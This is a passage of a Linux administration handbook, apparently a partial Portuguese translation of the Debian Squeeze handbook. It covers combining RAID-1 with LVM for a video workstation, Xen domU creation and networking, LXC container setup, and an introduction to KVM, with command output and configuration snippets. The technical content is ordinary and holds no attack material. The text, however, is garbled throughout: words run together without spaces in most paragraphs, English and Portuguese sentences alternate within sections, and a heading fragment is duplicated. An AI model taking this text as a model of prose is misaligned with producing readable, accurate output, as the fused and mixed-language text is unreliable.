vg_critical 3 2 0 wz--n- 9.09g 1.09g

# [...]

[...]

# df -h /srv/base/

Filesystem Size Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base

2.0G 835M 1.1G 44% /srv/base

Aprofundamento LVM avançado

LVM also caters for more advanced uses,where many details can be specified byhand. For instance, an administrator cantweak the size of the blocks that make upphysical and logical volumes, as well astheir physical layout. It is also possible tomove blocks across PVs, for instance tofine-tune performance or, in a moremundane way, to free a PV when oneneeds to extract the correspondingphysical disk from the VG (whether toaffect it to another VG or to remove itfrom LVM altogether). The manual pagesdescribing the commands are generallyclear and detailed. A good entry point isthe lvm(8) manual page.

12.1.3. RAID ou

LVM?RAID and LVM both bringindisputable advantages as soon as oneleaves the simple case of a desktopcomputer with a single hard disk wherethe usage pattern doesn't change overtime. However, RAID and LVM go intwo different directions, with diverginggoals, and it is legitimate to wonderwhich one should be adopted. The mostappropriate answer will of coursedepend on current and foreseeablerequirements.

There are a few simple cases where thequestion doesn't really arise. If the

requirement is to safeguard dataagainst hardware failures, thenobviously RAID will be set up on aredundant array of disks, since LVMdoesn't really address this problem. If,on the other hand, the need is for aflexible storage scheme where thevolumes are made independent of thephysical layout of the disks, RAIDdoesn't help much and LVM will be thenatural choice.

The third notable use case is when onejust wants to aggregate two disks intoone volume, either for performancereasons or to have a single filesystemthat is larger than any of the availabledisks. This case can be addressed both

by a RAID-0 (or even linear-RAID)and by an LVM volume. When in thissituation, and barring extra constraints(keeping in line with the rest of thecomputers if they only use RAID), theconfiguration of choice will often beLVM. The initial set up is slightlymore complex, but that slight increasein complexity more than makes up forthe extra flexibility that LVM brings ifthe requirements change or if newdisks need to be added.

Then of course, there is the reallyinteresting use case, where the storagesystem needs to be made both resistantto hardware failure and flexible when itcomes to volume allocation. Neither

RAID nor LVM can address bothrequirements on their own; no matter,this is where we use both at the sametime — or rather, one on top of theother. The scheme that has all butbecome a standard since RAID andLVM have reached maturity is toensure data redundancy first bygrouping disks in a small number oflarge RAID arrays, and to use theseRAID arrays as LVM physicalvolumes; logical partitions will then becarved from these LVs for filesystems.The selling point of this setup is thatwhen a disk fails, only a small numberof RAID arrays will need to bereconstructed, thereby limiting thetime spent by the administrator for

recovery.

Let's take a concrete example: thepublic relations department at FalcotCorp needs a workstation for videoediting, but the department's budgetdoesn't allow investing in high-endhardware from the bottom up. Adecision is made to favor the hardwarethat is specific to the graphic nature ofthe work (monitor and video card), andto stay with generic hardware forstorage. However, as is widely known,digital video does have some particularrequirements for its storage: theamount of data to store is large, and thethroughput rate for reading and writingthis data is important for the overall

system performance (more than typicalaccess time, for instance). Theseconstraints need to be fulfilled withgeneric hardware, in this case two300 GB SATA hard disk drives; thesystem data must also be maderesistant to hardware failure, as well assome of the user data. Editedvideoclips must indeed be safe, butvideo rushes pending editing are lesscritical, since they're still on thevideotapes.

RAID-1 and LVM are combined tosatisfy these constraints. The disks areattached to two different SATAcontrollers to optimize parallel accessand reduce the risk of a simultaneous

failure, and they therefore appear assda and sdc. They are partitionedidentically along the following scheme:

# fdisk -l /dev/sda

Disk /dev/hda: 300.0 GB, 300090728448 bytes

255 heads, 63 sectors/track, 36483 cylinders

Units = cylinders of 16065 * 512 = 8225280 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disk identifier: 0x00039a9f

Device Boot Start End Blocks Id System

/dev/sda1 * 1 124 995998+ fd Linux raid autodetect

/dev/sda2 125 248 996030 82 Linux swap / Solaris

/dev/sda3 249 36483 291057637+ 5 Extended

/dev/sda5 249 12697 99996561 fd Linux raid autodetect

/dev/sda6 12698 25146 99996561 fd Linux raid autodetect

/dev/sda7 25147 36483 91064421 8e Linux LVM

As primeiras partições em ambos

As primeiras partições em ambosos discos (por volta de 1 GB) sãojuntas em um volume RAID-1,md0. Este espelho é diretamenteusado para armazenar o sistema dearquivos raiz.As partições sda2 e sdc2 sãousadas como swap, provendo umtotal de 2 GB de swap. Com 1 GBde RAM, a estação de trabalhoencontra uma quantidadeconfortável de memoriadisponível.The sda5 and sdc5 partitions, aswell as sda6 and sdc6, areassembled into two new RAID-1volumes of about 100 GB each,md1 and md2. Both these mirrorsare initialized as physical volumes

for LVM, and assigned to thevg_raid volume group. This VGthus contains about 200 GB ofsafe space.As partições que sobraram, sda7 esdc7,são diretamente usadas comovolumes físicos, e associadas aoutro VG chamado vg_bulk, oqual portanto terminará comaproximadamente 200 GB deespaço.

Once the VGs are created, they can bepartitioned in a very flexible way. Onemust keep in mind that LVs created invg_raid will be preserved even if oneof the disks fails, which will not be thecase for LVs created in vg_bulk; on

the other hand, the latter will beallocated in parallel on both disks,which allows higher read or writespeeds for large files.

We'll therefore create the lv_usr,lv_var and lv_home LVs on vg_raid,to host the matching filesystems;another large LV, lv_movies, will beused to host the definitive versions ofmovies after editing. The other VG willbe split into a large lv_rushes, fordata straight out of the digital videocameras, and a lv_tmp for temporaryfiles. The location of the work area is aless straightforward choice to make:while good performance is needed forthat volume, is it worth risking losing

work if a disk fails during an editingsession? Depending on the answer tothat question, the relevant LV will becreated on one VG or the other.

We now have both some redundancyfor important data and much flexibilityin how the available space is splitacross the applications. Should newsoftware be installed later on (forediting audio clips, for instance), theLV hosting /usr/ can be grownpainlessly.

NOTA Por que três volumes RAID-1?

Poderíamos configurar um volume RAID-1 somente para servir como volume físicopara vg_raid. Por que criar três deles,

então?

The rationale for the first split (md0 vs. theothers) is about data safety: data writtento both elements of a RAID-1 mirror areexactly the same, and it is thereforepossible to bypass the RAID layer andmount one of the disks directly. In case ofa kernel bug, for instance, or if the LVMmetadata become corrupted, it is stillpossible to boot a minimal system toaccess critical data such as the layout ofdisks in the RAID and LVM volumes; themetadata can then be reconstructed andthe files can be accessed again, so that thesystem can be brought back to its nominalstate.

The rationale for the second split (md1 vs.md2) is less clear-cut, and more related toacknowledging that the future is

uncertain. When the workstation is firstassembled, the exact storage requirementsare not necessarily known with perfectprecision; they can also evolve over time.In our case, we can't know in advance theactual storage space requirements forvideo rushes and complete video clips. Ifone particular clip needs a very largeamount of rushes, and the VG dedicatedto redundant data is less than halfwayfull, we can re-use some of its unneededspace. We can remove one of the physicalvolumes, say md2 from vg_raid and eitherassign it to vg_bulk directly (if theexpected duration of the operation isshort enough that we can live with thetemporary drop in performance), or undothe RAID setup on md2 and integrate itscomponents sda6 and sdc6 into the bulkVG (which grows by 200 GB instead of100 GB); the lv_rushes logical volume

can then be grown according torequirements.

12.2. VirtualizaçãoVirtualization is one of the most majoradvances in the recent years ofcomputing. The term covers variousabstractions and techniques simulatingvirtual computers with a variabledegree of independence on the actualhardware. One physical server can thenhost several systems working at thesame time and in isolation.Applications are many, and oftenderive from this isolation: testenvironments with varyingconfigurations for instance, orseparation of hosted services acrossdifferent virtual machines for security.

Existem múltiplas soluções devirtualização, cada uma com seus próse contras. Este livro focará no Xen,LXC e KVM, mas outrasimplementações dignas de noraincluem as seguintes:

QEMU is a software emulator fora full computer; performances arefar from the speed one couldachieve running natively, but thisallows running unmodified orexperimental operating systemson the emulated hardware. It alsoallows emulating a differenthardware architecture: forinstance, an i386 system canemulate an arm computer. QEMU

is free software.

→ http://www.qemu.org/Bochs é outro máquina virtuallivre, mas somente simulaarquiteturas i386.VMWare is a proprietary virtualmachine; being one of the oldestout there, it's also one of the mostwidely-known. It works onprinciples similar to QEMU.VMWare proposes advancedfeatures such as snapshotting arunning virtual machine.

→ http://www.vmware.com/VirtualBox is a virtual machinethat is mostly free software(although some extra components

are under a proprietary license).Although younger than VMWareand restricted to the i386 andamd64 architectures, it showspromise; it already allowssnapshotting, for instance.VirtualBox has been part ofDebian since Lenny.

→ http://www.virtualbox.org/

12.2.1. XenXen is a “paravirtualization” solution.It introduces a thin abstraction layer,called a “hypervisor”, between thehardware and the upper systems; thisacts as a referee that controls access to

hardware from the virtual machines.However, it only handles a few of theinstructions, the rest is directlyexecuted by the hardware on behalf ofthe systems. The main advantage isthat performances are not degraded,and systems run close to native speed;the drawback is that the kernels of theoperating systems one wishes to use ona Xen hypervisor need to be adapted torun on Xen.

Let's spend some time on terms. Thehypervisor is the lowest layer, that runsdirectly on the hardware, even belowthe kernel. This hypervisor can split therest of the software across severaldomains, which can be seen as so many

virtual machines. One of these domains(the first one that gets started) isknown as dom0, and has a special role,since only this domain can control thehypervisor and the execution of otherdomains. These other domains areknown as domU. In other words, andfrom a user point of view, the dom0matches the “host” of othervirtualization systems, while a domUcan be seen as a “guest”.

CULTURA Xen e as várias versões doLinux

Xen was initially developed as a set ofpatches that lived out of the official tree,and not integrated to the Linux kernel. Atthe same time, several upcoming

virtualization systems (including KVM)required some generic virtualization-related functions to facilitate theirintegration, and the Linux kernel gainedthis set of functions (known as theparavirt_ops or pv_ops interface). Sincethe Xen patches were duplicating some ofthe functionality of this interface, theycouldn't be accepted officially.

Xensource, the company behind Xen,therefore had to port Xen to this newframework, so that the Xen patches couldbe merged into the official Linux kernel.That meant a lot of code rewrite, andalthough Xensource soon had a workingversion based on the paravirt_opsinterface, the patches were onlyprogressively merged into the officialkernel. The merge was completed inLinux 3.0.

→ http://wiki.xensource.com/xenwiki/XenParavirtOps

Although Squeeze is based on version2.6.32 of the Linux kernel, a versionincluding the Xen patches fromXensource is also available in the linux-image-2.6-xen-686 and linux-image-2.6-xen-amd64 packages. This distribution-specific patching means that the availablefeatureset depends on the distribution;discrepancies in the versions of the code,or even integration of code still underdevelopment into some distributions alsomean differences in the supportedfeatures. This problem should be greatlyreduced now that Xen has been officiallymerged into Linux.

→ http://wiki.xen.org/xenwiki/XenKernelFeatures

Utilizar o Xen com o Debian necessitade três componentes:

NOTA Arquiteturas compatíveis comXen

Xen is currently only available for thei386 and amd64 architectures. Moreover,it uses processor instructions that haven'talways been provided in all i386-classcomputers. Note that most of the Pentium-class (or better) processors made after2001 will work, so this restriction won'tapply to very many situations.

CULTURA Xen e núcleos não-Linux

Xen requires modifications to all theoperating systems one wants to run on it;

not all kernels have the same level ofmaturity in this regard. Many are fully-functional, both as dom0 and domU:Linux 2.6 (as patched by Debian) and 3.0,NetBSD 4.0 and later, and OpenSolaris.Others, such as OpenBSD 4.0, FreeBSD 8and Plan 9, only work as a domU.

However, if Xen can rely on the hardwarefunctions dedicated to virtualization(which are only present in more recentprocessors), even non-modified operatingsystems can run as domU (includingWindows).

The hypervisor itself. Accordingto the available hardware, theappropriate package will be eitherxen-hypervisor-4.0-i386 or xen-

hypervisor-4.0-amd64.A kernel with the appropriatepatches allowing it to work on thathypervisor. In the 2.6.32 caserelevant to Squeeze, the availablehardware will dictate the choiceamong the various available xen-linux-system-2.6.32-5-xen-*packages.The i386 architecture also requiresa standard library with theappropriate patches takingadvantage of Xen; this is in thelibc6-xen package.

In order to avoid the hassle of selectingthese components by hand, a fewconvenience packages (such as xen-

linux-system-2.6.32-5-xen-686 andvariants) have been made available;they all pull in a known-goodcombination of the appropriatehypervisor and kernel packages. Thehypervisor also brings xen-utils-4.0,which contains tools to control thehypervisor from the dom0. This in turnbrings the appropriate standard library.During the installation of all that,configuration scripts also create a newentry in the Grub bootloader menu, soas to start the chosen kernel in a Xendom0. Note however that this entry isnot usually set to be the first one in thelist, and will therefore not be selectedby default. If that is not the desiredbehavior, the following commands will

change it:

# mv /etc/grub.d/20_linux_xen /etc/grub.d/09_linux_xen

# update-grub

Once these prerequisites are installed,the next step is to test the behavior ofthe dom0 by itself; this involves areboot to the hypervisor and the Xenkernel. The system should boot in itsstandard fashion, with a few extramessages on the console during theearly initialization steps.

Now is the time to actually installuseful systems on the domU systems,using the tools from xen-tools. Thispackage provides the xen-create-image command, which largely

automates the task. The onlymandatory parameter is --hostname,giving a name to the domU; otheroptions are important, but they can bestored in the /etc/xen-tools/xen-tools.conf configuration file, andtheir absence from the command linedoesn't trigger an error. It is thereforeimportant to either check the contentsof this file before creating images, orto use extra parameters in the xen-create-image invocation. Importantparameters of note include thefollowing:

--memory, para definir oquantidade de RAM dedicada parao sistema recentemente criado;

--size e --swap, para definir otamanho dos "discos virtuais"disponíveis para o domU;--debootstrap, to cause the newsystem to be installed withdebootstrap; in that case, the --dist option will also most oftenbe used (with a distribution namesuch as squeeze).

Aprofundamento Instalando umsistema não Debian em um domU

If the Xen image is not meant to runDebian but another system, anotherpotentially interesting option is --rpmstrap, to invoke rpmstrap inorder to initialize a new RPM-basedsystem (such as Fedora, CentOS orMandriva). Other methods include -

-copy, to copy an image from anexisting system, and --tar, toextract the system image from anarchive.

Em caso de sistemas não-Linux, umcerto cuidado deve ser tomado aodefinir qual domU o núcleo deveusar, usando a opção --kernel.

--dhcp define que a configuraçãode rede do domU deve ser obtidapor DHCP enquanto --ip permitea definição estática do endereçoIP.Lastly, a storage method must bechosen for the images to becreated (those that will be seen ashard disk drives from the domU).

The simplest method,corresponding to the --diroption, is to create one file on thedom0 for each device the domUshould be provided. For systemsusing LVM, the alternative is touse the --lvm option, followed bythe name of a volume group; xen-create-image will then create anew logical volume inside thatgroup, and this logical volumewill be made available to thedomU as a hard disk drive.

NOTA Armazenamento em domU

Entire hard disks can also beexported to the domU, as well aspartitions, RAID arrays or pre-

existing LVM logical volumes.These operations are not automatedby xen-create-image, however, soediting the Xen image'sconfiguration file is in order after itsinitial creation with xen-create-image.

Assim que essas escolhas são feitas,podemos criar uma imagem para onosso futuro Xen domU:

# xen-create-image --hostname=testxen

General Information

--------------------

Hostname : testxen

Distribution : squeeze

Mirror : http://ftp.us.debian.org/debian/

Partitions : swap 128Mb (swap)

/ 4Gb (ext3)

Image type : sparse

Memory size : 128Mb

Kernel path : /boot/vmlinuz-2.6.32-5-xen-686

Initrd path : /boot/initrd.img-2.6.32-5-xen-686

[...]

Logfile produced at:

/var/log/xen-tools/testxen.log

Installation Summary

---------------------

Hostname : testxen

Distribution : squeeze

IP-Address(es) : dynamic

RSA Fingerprint : 25:6b:6b:c7:84:03:9e:8b:82:da:84:c0:08:cd:29:94

Root Password : 52emxRmM

Agora temos uma máquina virtual, masatualmente não está sendo executada (eportanto somente utilizando espaço dedisco do dom0). Obviamente, podemos

criar mais imagens, possivelmente comparâmetros diferentes.

Before turning these virtual machineson, we need to define how they'll beaccessed. They can of course beconsidered as isolated machines, onlyaccessed through their system console,but this rarely matches the usagepattern. Most of the time, a domU willbe considered as a remote server, andaccessed only through a network.However, it would be quiteinconvenient to add a network card foreach domU; which is why Xen allowscreating virtual interfaces, that eachdomain can see and use in a standardway. Note that these cards, even though

they're virtual, will only be useful onceconnected to a network, even a virtualone. Xen has several network modelsfor that:

O modelo mais simples é omodelo de ponte bridge; todos asplacas de rede eth0 (tanto no casodo dom0 quanto nos sistemasdomU) se comportam como sefossem diretamente conectadasem um switch de rede.Em seguida vem o modelorouting, onde o dom0 se comportacomo um roteador que se põementre sistemas domU e a rede(física) externa.Finalmente, no modelo NAT, o

dom0 novamente está entre ossistemas domU e o resto da rede,mas os sistemas domU não sãodiretamente acessíveis por fora, etodo o tráfego vai através de umatradução de endereços de rede(NAT) para o dom0.

These three networking nodes involve anumber of interfaces with unusualnames, such as vif*, veth*, peth* andxenbr0. The Xen hypervisor arrangesthem in whichever layout has beendefined, under the control of the user-space tools. Since the NAT and routingmodels are only adapted to particularcases, we will only address thebridging model.

The standard configuration of the Xenpackages does not change the system-wide network configuration. However,the xend daemon is configured tointegrate virtual network interfacesinto any pre-existing network bridge(with xenbr0 taking precedence ifseveral such bridges exist). We musttherefore set up a bridge in/etc/network/interfaces (whichrequires installing the bridge-utilspackage, which is why the xen-utils-4.0package recommends it) to replace theexisting eth0 entry:

auto xenbr0

iface xenbr0 inet dhcp

bridge_ports eth0

bridge_maxwait 0

After rebooting to make sure the bridgeis automatically created, we can nowstart the domU with the Xen controltools, in particular the xm command.This command allows differentmanipulations on the domains,including listing them and,starting/stopping them.

# xm list

Name ID Mem VCPUs State Time(s)

Domain-0 0 940 1 r----- 3896.9

# xm create testxen.cfg

Using config file "/etc/xen/testxen.cfg".

Started domain testxen (id=1)

# xm list

Name ID Mem VCPUs State Time(s)

Domain-0 0 873 1 r----- 3917.1

testxen 1 128 1 -b---- 3.7

CUIDADO Somente utilize um domU porimagem!

While it is of course possible to haveseveral domU systems running in parallel,they will all need to use their own image,since each domU is made to believe itruns on its own hardware (apart from thesmall slice of the kernel that talks to thehypervisor). In particular, it isn't possiblefor two domU systems runningsimultaneously to share storage space. Ifthe domU systems are not run at the sametime, it is however quite possible to reusea single swap partition, or the partitionhosting the /home filesystem.

Note that the testxen domU uses realmemory taken from the RAM that

would otherwise be available to thedom0, not simulated memory. Careshould therefore be taken, whenbuilding a server meant to host Xeninstances, to provision the physicalRAM accordingly.

Voilà! Our virtual machine is startingup. We can access it in one of twomodes. The usual way is to connect toit “remotely” through the network, aswe would connect to a real machine;this will usually require setting upeither a DHCP server or some DNSconfiguration. The other way, whichmay be the only way if the networkconfiguration was incorrect, is to usethe hvc0 console, with the xm console

command:

# xm console testxen

[...]

Starting enhanced syslogd: rsyslogd.

Starting periodic command scheduler: cron.

Starting OpenBSD Secure Shell server: sshd.

Debian GNU/Linux 6.0 testxen hvc0

testxen login:

One can then open a session, just likeone would do if sitting at the virtualmachine's keyboard. Detaching fromthis console is achieved through theControl+] key combination.

DICA Obtendo o console imediatamente

Sometimes one wishes to start a domUsystem and get to its console straightaway; this is why the xm create commandtakes a -c switch. Starting a domU withthis switch will display all the messagesas the system boots.

FERRAMENTAS ConVirt

ConVirt (in the convirt package,previously XenMan) is a graphicalinterface allowing controlling Xendomains installed on a machine. Itprovides most of the features of the xmcommand.

Once the domU is up, it can be usedjust like any other server (since it is a

GNU/Linux system after all). However,its virtual machine status allows someextra features. For instance, a domUcan be temporarily paused thenresumed, with the xm pause and xmunpause commands. Note that eventhough a paused domU does not useany processor power, its allocatedmemory is still in use. It may beinteresting to consider the xm save andxm restore commands: saving a domUfrees the resources that were previouslyused by this domU, including RAM.When restored (or unpaused, for thatmatter), a domU doesn't even noticeanything beyond the passage of time. Ifa domU was running when the dom0 isshut down, the packaged scripts

automatically save the domU, andrestore it on the next boot. This will ofcourse involve the standardinconvenience incurred whenhibernating a laptop computer, forinstance; in particular, if the domU issuspended for too long, networkconnections may expire. Note also thatXen is so far incompatible with a largepart of ACPI power management,which precludes suspending the host(dom0) system.

DOCUMENTAÇÃO xm opções

Most of the xm subcommands expect oneor more arguments, often a domU name.These arguments are well described in thexm(1) manual page.

Halting or rebooting a domU can bedone either from within the domU(with the shutdown command) or fromthe dom0, with xm shutdown or xmreboot.

APROFUNDAMENTO Xen avançado

Xen has many more features than we candescribe in these few paragraphs. Inparticular, the system is very dynamic,and many parameters for one domain(such as the amount of allocated memory,the visible hard drives, the behavior ofthe task scheduler, and so on) can beadjusted even when that domain isrunning. A domU can even be migratedacross servers without being shut down,

and without losing its networkconnections! For all these advancedaspects, the primary source ofinformation is the official Xendocumentation.

→ http://www.xen.org/support/documentation.html

12.2.2. LXCEven though it's used to build “virtualmachines”, LXC is not, strictlyspeaking, a virtualization system, but asystem to isolate groups of processesfrom each other even though they allrun on the same host. It takesadvantage of a set of recent evolutions

in the Linux kernel, collectively knownas control groups, by which differentsets of processes called “groups” havedifferent views of certain aspects of theoverall system. Most notable amongthese aspects are the processidentifiers, the network configuration,and the mount points. Such a group ofisolated processes will not have anyaccess to the other processes in thesystem, and its accesses to thefilesystem can be restricted to aspecific subset. It can also have its ownnetwork interface and routing table,and it may be configured to only see asubset of the available devices presenton the system.

These features can be combined toisolate a whole process family startingfrom the init process, and the resultingset looks very much like a virtualmachine. The official name for such asetup is a “container” (hence the LXCmoniker: LinuX Containers), but arather important difference with “real”virtual machines such as provided byXen or KVM is that there's no secondkernel; the container uses the verysame kernel as the host system. Thishas both pros and cons: advantagesinclude the total lack of overhead andtherefore performance costs, and thefact that the kernel has a global visionof all the processes running on thesystem, so the scheduling can be more

efficient than it would be if twoindependent kernels were to scheduledifferent task sets. Chief among theinconveniences is the impossibility torun a different kernel in a container(whether a different Linux version or adifferent operating system altogether).

NOTA limites de isolamento do LXC

Contêineres LXC não provêm o mesmonível de isolamento conseguido poremuladores ou virtualizadores. Emparticular:

the Squeeze standard kernel doesnot allow limiting the amount ofmemory available to a container;this feature exists, and can beenabled by rebuilding the kernel

with the Memory ResourceController option, but it is stillconsidered somewhat experimental,and it has a (slight) cost on overallsystem performance, which is whyit's disabled by default;já que o núcleo é compartilhadoentre os sistemas e os contêineres,processos restritos ao contêineresainda podem acessar mensagens donúcleo, o qual pode levar aovazamento de informação se asmensagem forem emitidas pelocontêiner;por razões parecidas, se o contêineré comprometido e se umavulnerabilidade do núcleo éexplorada, os outros contêinerespodem ser afetados também;on the filesystem, the kernel checkspermissions according to the

numerical identifiers for users andgroups; these identifiers maydesignate different users and groupsdepending on the container, whichshould be kept in mind if writableparts of the filesystem are sharedamong containers.

Since we're dealing with isolation andnot plain virtualization, setting up LXCcontainers is more complex than justrunning debian-installer on a virtualmachine. We'll describe a fewprerequisites, then go on to the networkconfiguration; we will then be able toactually create the system to be run inthe container.

12.2.2.1. EtapasPreliminares

O pacote lxc contém as ferramentasnecessárias para executar o LXC, edevem portanto serem instaladas.

O LXC também necessita do sistemade configuração control groups, o qualé um sistema de arquivos virtual que émontado no /sys/fs/cgroup. O/etc/fstab deve portanto incluir aseguinte entrada:

# /etc/fstab: static file system information.

[...]

cgroup /sys/fs/cgroup cgroup defaults 0 0

/sys/fs/cgroup será automaticamentemontado na inicialização; se nenhumareinicialização está planejada, osistema de arquivos deve sermanualmente montado com mount/sys/fs/cgroup.

12.2.2.2. Configuração deRede

The goal of installing LXC is to set upvirtual machines; while we could ofcourse keep them isolated from thenetwork, and only communicate withthem via the filesystem, most use casesinvolve giving at least minimalnetwork access to the containers. In the

typical case, each container will get avirtual network interface, connected tothe real network through a bridge. Thisvirtual interface can be plugged eitherdirectly onto the host's physicalnetwork interface (in which case thecontainer is directly on the network), oronto another virtual interface definedon the host (and the host can then filteror route traffic). In both cases, thebridge-utils package will be required.

The simple case is just a matter ofediting /etc/network/interfaces,moving the configuration for thephysical interface (for instance eth0)to a bridge interface (usually br0), andconfiguring the link between them. For

instance, if the network interfaceconfiguration file initially containsentries such as the following:

auto eth0

iface eth0 inet dhcp

Devem ser desabilitados e substituídospelo seguinte:

#auto eth0

#iface eth0 inet dhcp

auto br0

iface br0 inet dhcp

bridge-ports eth0

The effect of this configuration will besimilar to what would be obtained ifthe containers were machines plugged

into the same physical network as thehost. The “bridge” configurationmanages the transit of Ethernet framesbetween all the bridged interfaces,which includes the physical eth0 aswell as the interfaces defined for thecontainers.

In cases where this configurationcannot be used (for instance if nopublic IP addresses can be assigned tothe containers), a virtual tap interfacewill be created and connected to thebridge. The equivalent networktopology then becomes that of a hostwith a second network card pluggedinto a separate switch, with thecontainers also plugged into that

switch. The host must then act as agateway for the containers if they aremeant to communicate with the outsideworld.

In addition to bridge-utils, this “rich”configuration requires the vde2package; the/etc/network/interfaces file thenbecomes:

# Interface eth0 is unchanged

auto eth0

iface eth0 inet dhcp

# Virtual interface

auto tap0

iface tap0 inet manual

vde2-switch -t tap0

# Bridge for containers

auto br0

iface br0 inet static

bridge-ports tap0

address 10.0.0.1

netmask 255.255.255.0

A rede então pode ser configuradaestaticamente nos contêineres, oudinamicamente com um servidorDHCP rodando no host.\nTal servidorDHCP deverá ser configurado pararesponder as consultas na interfacebr0.

12.2.2.3. Configurando oSistema

Let us now set up the filesystem to be

used by the container. Since this“virtual machine” will not run directlyon the hardware, some tweaks arerequired when compared to a standardfilesystem, especially as far as thekernel, devices and consoles areconcerned. Fortunately, the lxcincludes scripts that mostly automatethis configuration. For instance, thefollowing commands (which requirethe debootstrap package) will install aDebian container:

root@scouzmir:~# mkdir /var/lib/lxc/testlxc/

root@scouzmir:~# /usr/lib/lxc/templates/lxc-debian -p /var/lib/lxc/testlxc/

debootstrap is /usr/sbin/debootstrap

Checking cache download in /var/cache/lxc/debian/rootfs-i386 ...

Downloading debian minimal ...

I: Retrieving Release

I: Retrieving Packages

[...]

Removing any system startup links for /etc/init.d/hwclockfirst.sh ...

/etc/rcS.d/S08hwclockfirst.sh

Root password is 'root', please change !

root@scouzmir:~#

Note que o sistema de arquivo éinicialmente criado em/var/cache/lxc, então é movido parao seu diretório de destino. Istoproporciona a criação de contêineresidênticos mais rapidamente, já quesomente um cópia é necessária.

Note also that the lxc-debian commandas shipped in Squeeze unfortunatelycreates a Lenny system, and not aSqueeze system as one could expect.This problem can be worked around by

simply installing a newer version of thepackage (starting from 0.7.3-1).

The newly-created filesystem nowcontains a minimal Debian system,adapted to the aforementioned“simple” network configuration. In the“rich” configuration, the/var/lib/lxc/testlxc/rootfs/etc/network/interfaces

file will need some modifications;more important, though, is that thenetwork interface that the containersees must not be the host's physicalinterface. This can be configured byadding a few lxc.network.* entries tothe container's configuration file,/var/lib/lxc/testlxc/config:

lxc.network.type = veth

lxc.network.flags = up

lxc.network.link = br0

lxc.network.hwaddr = 4a:49:43:49:79:20

These entries mean, respectively, that avirtual interface will be created in thecontainer; that it will automatically bebrought up when said container isstarted; that it will automatically beconnected to the br0 bridge on thehost; and that its MAC address will beas specified. Should this last entry bemissing or disabled, a random MACaddress will be generated.

12.2.2.4. Inicializando oContêiner

Agora que nossa imagem da máquinavirtual está pronta, vamos inicializar ocontêiner:

root@scouzmir:~# lxc-start --name=testlxc

INIT: version 2.86 booting

Activating swap...done.

Cleaning up ifupdown....

Checking file systems...fsck 1.41.3 (12-Oct-2008)

done.

Setting kernel variables (/etc/sysctl.conf)...done.

Mounting local filesystems...done.

Activating swapfile swap...done.

Setting up networking....

Configuring network interfaces...Internet Systems Consortium DHCP Client V3.1.1

Copyright 2004-2008 Internet Systems Consortium.

All rights reserved.

For info, please visit http://www.isc.org/sw/dhcp/

Listening on LPF/eth0/52:54:00:99:01:01

Sending on LPF/eth0/52:54:00:99:01:01

Sending on Socket/fallback

DHCPDISCOVER on eth0 to 255.255.255.255 port 67 interval 4

DHCPOFFER from 192.168.1.2

DHCPREQUEST on eth0 to 255.255.255.255 port 67

DHCPACK from 192.168.1.2

bound to 192.168.1.243 -- renewal in 1392 seconds.

done.

INIT: Entering runlevel: 3

Starting OpenBSD Secure Shell server: sshd.

Debian GNU/Linux 5.0 scouzmir console

scouzmir login: root

Password:

Linux scouzmir 2.6.32-5-686 #1 SMP Tue Mar 8 21:36:00 UTC 2011 i686

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

scouzmir:~# ps auxwf

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND

root 1 0.0 0.2 1984 680 ? Ss 08:44 0:00 init [3]

root 197 0.0 0.1 2064 364 ? Ss 08:44 0:00 dhclient3 -pf /var/run/dhclient.eth0.pid -lf /var/lib/dhcp3/dhclien

root 286 0.1 0.4 2496 1256 console Ss 08:44 0:00 /bin/login --

root 291 0.7 0.5 2768 1504 console S 08:46 0:00 \_ -bash

root 296 0.0 0.3 2300 876 console R+ 08:46 0:00 \_ ps auxwf

root 287 0.0 0.2 1652 560 tty1 Ss+ 08:44 0:00 /sbin/getty 38400 tty1 linux

root 288 0.0 0.2 1652 560 tty2 Ss+ 08:44 0:00 /sbin/getty 38400 tty2 linux

root 289 0.0 0.2 1652 556 tty3 Ss+ 08:44 0:00 /sbin/getty 38400 tty3 linux

root 290 0.0 0.2 1652 560 tty4 Ss+ 08:44 0:00 /sbin/getty 38400 tty4 linux

scouzmir:~#

We are now in the container; ouraccess to the processes is restricted toonly those started from the containeritself, and our access to the filesystemis similarly restricted to the dedicatedsubset of the full filesystem(/var/lib/lxc/testlxc/rootfs), in

which root's password is initially set toroot.

Should we want to run the container asa background process, we would invokelxc-start with the --daemon option.We can then interrupt the containerwith a command such as lxc-kill --name=testlxc.

The lxc package contains aninitialization script that canautomatically start one or severalcontainers when the host boots; itsconfiguration file, /etc/default/lxc,is relatively straightforward; note thatthe container configuration files needto be stored in /etc/lxc/; many users

may prefer symbolic links, such as canbe created with ln -s/var/lib/lxc/testlxc/config/etc/lxc/testlxc.config.

APROFUNDAMENTO Virtualização emmassa

Since LXC is a very lightweight isolationsystem, it can be particularly adapted tomassive hosting of virtual servers. Thenetwork configuration will probably be abit more advanced than what wedescribed above, but the “rich”configuration using tap and vethinterfaces should be enough in manycases.

It may also make sense to share part ofthe filesystem, such as the /usr and /lib

subtrees, so as to avoid duplicating thesoftware that may need to be common toseveral containers. This will usually beachieved with lxc.mount.entry entries inthe containers configuration file. Aninteresting side-effect is that theprocesses will then use less physicalmemory, since the kernel is able to detectthat the programs are shared. Themarginal cost of one extra container canthen be reduced to the disk spacededicated to its specific data, and a fewextra processes that the kernel mustschedule and manage.

We haven't described all the availableoptions, of course; more comprehensiveinformation can be obtained from thelxc(7) and lxc.conf(5) manual pages andthe ones they reference.

12.2.3. Virtualizaçãocom KVMKVM, which stands for Kernel-basedVirtual Machine, is first and foremost akernel module providing most of theinfrastructure that can be used by avirtualizer, but it is not a virtualizer byitself. Actual control for thevirtualization is handled by a QEMU-based application. Don't worry if thissection mentions qemu-* commands:it's still about KVM.

Unlike other virtualization systems,KVM was merged into the Linuxkernel right from the start. Its

developers chose to take advantage ofthe processor instruction sets dedicatedto virtualization (Intel-VT and AMD-V), which keeps KVM lightweight,elegant and not resource-hungry. Thecounterpart, of course, is that KVMmainly works on i386 and amd64processors, and only those recentenough to have these instruction sets.You can ensure that you have such aprocessor if you have “vmx” or “svm”in the CPU flags listed in/proc/cpuinfo.

Com a Red Hat ativamente suportandoseu desenvolvimento, o KVM parecepronto para se tornar a referência emvirtualização do Linux.

